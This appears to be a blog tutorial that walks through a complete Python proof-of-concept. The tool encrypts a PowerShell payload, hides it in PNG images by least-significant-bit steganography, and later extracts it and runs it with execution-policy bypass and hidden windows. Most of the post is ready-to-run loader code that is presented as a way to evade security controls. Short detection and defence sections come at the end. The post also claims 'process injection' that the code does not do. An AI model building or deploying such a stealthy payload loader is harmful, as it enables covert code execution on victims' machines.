Steganography: Hidden Payload

An educational guide to steganography and in-memory payload execution. Please don’t try on unauthorized system.

Introduction

Steganography, the art of hiding information in plain sight, has evolved from ancient techniques of invisible ink to modern digital methods. In this technical exploration, we’ll dissect a Python-based steganography implementation that embeds encrypted payloads within PNG images and executes them directly from memory.

Disclaimer: This educational content is for research and learning purposes only. Unauthorized use of these techniques against systems you don’t own is illegal and unethical.

Understanding Steganography

Steganography differs from cryptography in a fundamental way: while cryptography makes data unreadable, steganography makes data invisible. The implementation we’re examining uses LSB (Least Significant Bit) steganography, which subtly alters the least important bits of pixel data to hide information.

Technical Architecture

Let’s examine the complete workflow through a system diagram:



The Code Components

1. Payload Creation and Encryption

The payload undergoes multiple transformations before being embedded:

Python
def create_payload(payload_text):
    """Create encrypted payload from text"""
    try:
        cmd = payload_text.encode('utf-8')
        
        # AES encryption with random IV
        try:
            from Crypto.Cipher import AES
            from Crypto.Util.Padding import pad
            from Crypto.Random import get_random_bytes
            
            key = b'\x2a\xf5\x88\x9d\xc1\x73\xe0\x41\xb6\xfc\x57\xd2\x33\x7e\xa9\x04'
            iv = get_random_bytes(16)
            cipher = AES.new(key, AES.MODE_CBC, iv)
            encrypted = iv + cipher.encrypt(pad(cmd, AES.block_size))
        except ImportError:
            # Fallback to XOR if Crypto unavailable
            encrypted = bytearray([b ^ 0xAD for b in cmd])
        
        compressed = zlib.compress(encrypted, level=9)
        return base64.b85encode(compressed).decode()

Encryption Process Explained:

  1. AES Encryption (CBC Mode):
    • Uses a 128-bit key for AES encryption
    • Implements CBC (Cipher Block Chaining) mode for better security
    • Generates a random 16-byte IV (Initialization Vector) for each payload
    • The IV is prepended to the ciphertext for proper decryption
  2. Fallback Mechanism:
    • If PyCryptodome isn’t available, uses simple XOR obfuscation
    • XOR each byte with 0xAD (10101101 in binary)
  3. Compression:
    • Uses zlib compression with maximum level (9)
    • Reduces payload size for easier embedding
  4. Encoding:
    • Base85 encoding provides more efficient storage than Base64
    • Results in smaller output for the same input data

2. Image Validation and Steganography

Python
def validate_image(image_path):
    """Validate PNG using Pillow with capacity checks"""
    if not os.path.exists(image_path):
        raise FileNotFoundError(f"Image not found: {image_path}")
    
    try:
        with Image.open(image_path) as img:
            if img.format != 'PNG':
                raise ValueError("Only PNG images are supported")
            
            width, height = img.size
            capacity = width * height
            
            if capacity < 150:
                raise ValueError(
                    f"Image too small ({capacity} pixels). "
                    f"Minimum required: 150 pixels"
                )
            
            return image_path

LSB Steganography Explained:

The LSB technique works by modifying the least significant bit of each color channel (RGB) in image pixels. Since these changes are minimal (altering color values by just 1-2 points out of 255), they’re virtually imperceptible to the human eye.

For a standard PNG image with 24-bit color depth:

  • Each pixel has 3 color channels (Red, Green, Blue)
  • Each channel uses 8 bits (0-255 values)
  • Modifying the LSB changes the value by ±1, which is visually negligible
  • Capacity: An image with dimensions W×H can store approximately W×H×3 bits of data

3. Payload Execution in Memory

Python
def execute_payload(hidden_data):
    """Extract and execute payload in memory"""
    try:
        compressed = base64.b85decode(hidden_data)
        encrypted = zlib.decompress(compressed)
        
        # Try AES decryption
        try:
            from Crypto.Cipher import AES
            from Crypto.Util.Padding import unpad
            key = b'\x2a\xf5\x88\x9d\xc1\x73\xe0\x41\xb6\xfc\x57\xd2\x33\x7e\xa9\x04'
            iv = encrypted[:16]
            cipher = AES.new(key, AES.MODE_CBC, iv)
            decrypted = unpad(cipher.decrypt(encrypted[16:]), AES.block_size)
        except (ImportError, ValueError):
            # XOR fallback
            decrypted = bytearray([b ^ 0xAD for b in encrypted])
        
        # Execute directly from memory
        result = subprocess.run(
            [
                "powershell.exe",
                "-ExecutionPolicy", "Bypass",
                "-WindowStyle", "Hidden",
                "-NoProfile",
                "-Command", decrypted.decode('utf-8')
            ],
            creationflags=subprocess.CREATE_NO_WINDOW            
        )

Memory Execution Explained:

The key advantage of this approach is that the payload never touches the disk in decrypted form, bypassing many traditional security controls:

  1. Extraction Process:
    • Read hidden data from image LSB
    • Reverse the encoding/compression/encryption process
    • The payload exists only in volatile memory
  2. PowerShell Execution:
    • Uses PowerShell with restrictive policy bypass
    • No window creation for stealth operation
    • No profile loading to reduce footprint
    • Commands executed directly from memory

Cryptographic Details

AES-CBC Encryption

The Advanced Encryption Standard (AES) in Cipher Block Chaining (CBC) mode provides strong confidentiality:

Plaintext
Encryption Process:
Plaintext -> Padding -> AES-CBC Encryption -> Ciphertext

Decryption Process:
Ciphertext -> AES-CBC Decryption -> Unpadding -> Plaintext

Key Characteristics:

  • Block size: 128 bits (16 bytes)
  • Key size: 128 bits
  • IV: Random 16 bytes for each encryption
  • Padding: PKCS#7 padding scheme

XOR Fallback Obfuscation

When AES isn’t available, the code uses XOR obfuscation:

Python
encrypted = bytearray([b ^ 0xAD for b in cmd])

This is not true encryption but simple obfuscation that’s trivial to reverse:

  • XOR operation with fixed byte (0xAD)
  • Provides minimal protection against casual inspection
  • Easily recognizable pattern for security tools

Full Code – POC

Python
import zlib
import base64
import os
import subprocess
import sys
import argparse
from PIL import Image
from stegano import lsb

def create_payload(payload_text):
    """Create encrypted payload from text"""
    try:
        cmd = payload_text.encode('utf-8')
        
        # AES encryption with random IV
        try:
            from Crypto.Cipher import AES
            from Crypto.Util.Padding import pad
            from Crypto.Random import get_random_bytes
            
            key = b'\x2a\xf5\x88\x9d\xc1\x73\xe0\x41\xb6\xfc\x57\xd2\x33\x7e\xa9\x04'
            iv = get_random_bytes(16)
            cipher = AES.new(key, AES.MODE_CBC, iv)
            encrypted = iv + cipher.encrypt(pad(cmd, AES.block_size))
        except ImportError:
            # Fallback to XOR if Crypto unavailable
            encrypted = bytearray([b ^ 0xAD for b in cmd])
        
        compressed = zlib.compress(encrypted, level=9)
        return base64.b85encode(compressed).decode()
    
    except Exception as e:
        print(f"[!] Payload creation failed: {e}")
        sys.exit(1)

def execute_payload(hidden_data):
    """Extract and execute payload in memory"""
    try:
        compressed = base64.b85decode(hidden_data)
        encrypted = zlib.decompress(compressed)
        
        # Try AES decryption
        try:
            from Crypto.Cipher import AES
            from Crypto.Util.Padding import unpad
            key = b'\x2a\xf5\x88\x9d\xc1\x73\xe0\x41\xb6\xfc\x57\xd2\x33\x7e\xa9\x04'
            iv = encrypted[:16]
            cipher = AES.new(key, AES.MODE_CBC, iv)
            decrypted = unpad(cipher.decrypt(encrypted[16:]), AES.block_size)
        except (ImportError, ValueError):
            # XOR fallback
            decrypted = bytearray([b ^ 0xAD for b in encrypted])
        
        # Execute directly from memory
        result = subprocess.run(
            [
                "powershell.exe",
                "-ExecutionPolicy", "Bypass",
                "-WindowStyle", "Hidden",
                "-NoProfile",
                "-Command", decrypted.decode('utf-8')
            ],
            creationflags=subprocess.CREATE_NO_WINDOW            
        )
        # Check if the process completed successfully
        if result.returncode == 0:
            print("[+] Payload executed successfully!")
            if result.stdout:
                print(f"[+] Output: {result.stdout}")
            return True
    
        else:
            print(f"[!] Payload execution failed with exit code: {result.returncode}")
            if result.stderr:
                print(f"[!] Error: {result.stderr}")
            return False
    except Exception as e:
        print(f"[!] Execution failed: {str(e)}")
        return False
    
    except Exception as e:
        print(f"[!] Execution failed: {str(e)}")
        return False

def validate_image(image_path):
    """Validate PNG using Pillow with capacity checks"""
    if not os.path.exists(image_path):
        raise FileNotFoundError(f"Image not found: {image_path}")
    
    try:
        with Image.open(image_path) as img:
            if img.format != 'PNG':
                raise ValueError("Only PNG images are supported")
            
            width, height = img.size
            capacity = width * height
            
            if capacity < 150:
                raise ValueError(
                    f"Image too small ({capacity} pixels). "
                    f"Minimum required: 150 pixels"
                )
            
            return image_path
            
    except Exception as e:
        raise ValueError(f"Invalid image: {str(e)}")

def get_user_payload():
    """Get multi-line payload from user"""
    print("\n" + "="*60)
    print("PAYLOAD INPUT INSTRUCTIONS:")
    print("1. Enter your PowerShell payload below")
    print("2. Press Enter to add a new line")
    print("3. Type 'END' on a new line when finished")
    print("4. Entering END without payload, a calculator will popup.")
    print("="*60)
    
    lines = []
    print("\nEnter your PowerShell payload (type 'END' on a separate line to finish):")
    while True:
        try:
            line = input()
            if line.strip().upper() == 'END':
                break
            lines.append(line)
        except EOFError:
            break
    
    return '\n'.join(lines)

def show_warning():
    """Display the warning message"""
    print("="*60)
    print("STEGANOGRAPHY TOOL - EDUCATIONAL USE ONLY")
    print("="*60)
    print("WARNING: This tool is for educational purposes only.")
    print("You are solely responsible for how you use this tool.")
    print("Unauthorized use against systems you don't own is illegal.")
    print("="*60)
    
    accept = input("\nDo you understand and accept responsibility? (yes/no): ")
    if accept.lower() != 'yes':
        print("Exiting. You must accept responsibility to use this tool.")
        sys.exit(0)

def main():
    parser = argparse.ArgumentParser(
        description='Steganography tool: Embed and/or execute payload from PNG',
        formatter_class=argparse.ArgumentDefaultsHelpFormatter
    )
    parser.add_argument('-i', '--input', required=True, 
                        help='Input PNG image path')
    parser.add_argument('-o', '--output', 
                        help='Output image path (for embedding)')
    parser.add_argument('-x', '--execute', action='store_true',
                        help='Execute payload from image')
    args = parser.parse_args()

    try:
        # Show warning first if we're embedding
        if args.output:
            show_warning()
        
        # Validate input image
        print("[*] Validating input image...")
        image_path = validate_image(args.input)
        print(f"    - Valid PNG: {os.path.basename(image_path)}")
        
        with Image.open(image_path) as img:
            print(f"    - Dimensions: {img.size[0]}x{img.size[1]} pixels")
            print(f"    - Capacity: ~{img.size[0] * img.size[1]} characters")

        # Determine mode based on arguments
        if args.output:
            # Embed mode (with optional execute)
            print("[*] Getting payload input...")
            payload_text = get_user_payload()
            if not payload_text.strip():
                print("[!] No payload provided. Using default calculator launcher.")
                payload_text = "Start-Process calc.exe"
            
            print("[*] Generating payload...")
            payload = create_payload(payload_text)
            print(f"    - Payload size: {len(payload)} characters")
            
            print("[*] Embedding payload using LSB steganography...")
            secret = lsb.hide(image_path, payload)
            secret.save(args.output)
            print(f"[+] Payload embedded in {args.output}")
            
            # Update image path for execution if requested
            if args.execute:
                image_path = args.output
            else:
                # If only embedding, we're done
                sys.exit(0)
        
        # Execute mode (if -x flag is set)
        if args.execute:
            print("[*] Extracting payload from image...")
            hidden_data = lsb.reveal(image_path)
            
            if not hidden_data:
                print("[!] No hidden data found in the image")
                sys.exit(1)
                
            print("[*] Executing payload...")
            if execute_payload(hidden_data):
                print("[+] Perfectly Done!")
            else:
                print("[!] Payload execution failed")
        
        # If neither embed nor execute, show usage
        if not args.output and not args.execute:
            print("[!] No action specified. Use -o to embed or -x to execute.")

    except Exception as e:
        print(f"\n[!] ERROR: {e}")
        print("\nTROUBLESHOOTING:")
        print("1. Use valid PNG images (JPEG not supported)")
        print("2. Install requirements: pip install stegano pillow pycryptodome")
        print("3. Try larger images if payload embedding fails")
        print("4. Run in Windows environment with PowerShell")
        sys.exit(1)

if __name__ == "__main__":
    main()


How to Use (In-short)



Embedding Payload Example



Execute Payload



Memory Management Analysis

The execution process carefully manages memory to avoid detection:

  1. No Disk Writing: The decrypted payload never persists to disk
  2. Volatile Storage: All operations occur in RAM
  3. Process Injection: The payload executes within a legitimate PowerShell process
  4. Clean Exit: Memory is released after execution completion

Detection and Prevention

Security professionals should look for:

  1. Anomalous Image Files:
    • Unexpectedly large file sizes for images
    • Statistical anomalies in LSB distribution
    • Presence of base85 encoded patterns
  2. Process Behavior:
    • PowerShell execution with bypass policies
    • Hidden window creation flags
    • Memory allocation patterns consistent with injection
  3. Network Indicators:
    • Unusual image files transferred over networks
    • Images with non-standard metadata

Defensive Recommendations

  1. Application Control: Restrict PowerShell execution in sensitive environments
  2. Memory Monitoring: Implement solutions that detect code execution in memory
  3. File Analysis: Deploy tools that detect steganographic content in images
  4. Least Privilege: Limit user permissions to reduce attack impact
  5. Network Monitoring: Scan for suspicious file transfers

Ethical Considerations

This technique demonstrates important security concepts but also poses risks:

  1. Authorization: Only use these techniques on systems you own
  2. Disclosure: If you find vulnerabilities, follow responsible disclosure practices
  3. Education: Understanding these methods helps build better defenses
  4. Legality: Unauthorized use is illegal in most jurisdictions

Conclusion

This steganography implementation demonstrates sophisticated techniques for hiding and executing code. From the cryptographic protections to the memory execution methods, it highlights the evolving landscape of cybersecurity threats and defenses.

Understanding these mechanisms is crucial for security professionals to develop effective countermeasures. As attack techniques evolve, so must our defensive strategies, emphasizing the need for continuous learning and adaptation in cybersecurity.

Leave a Reply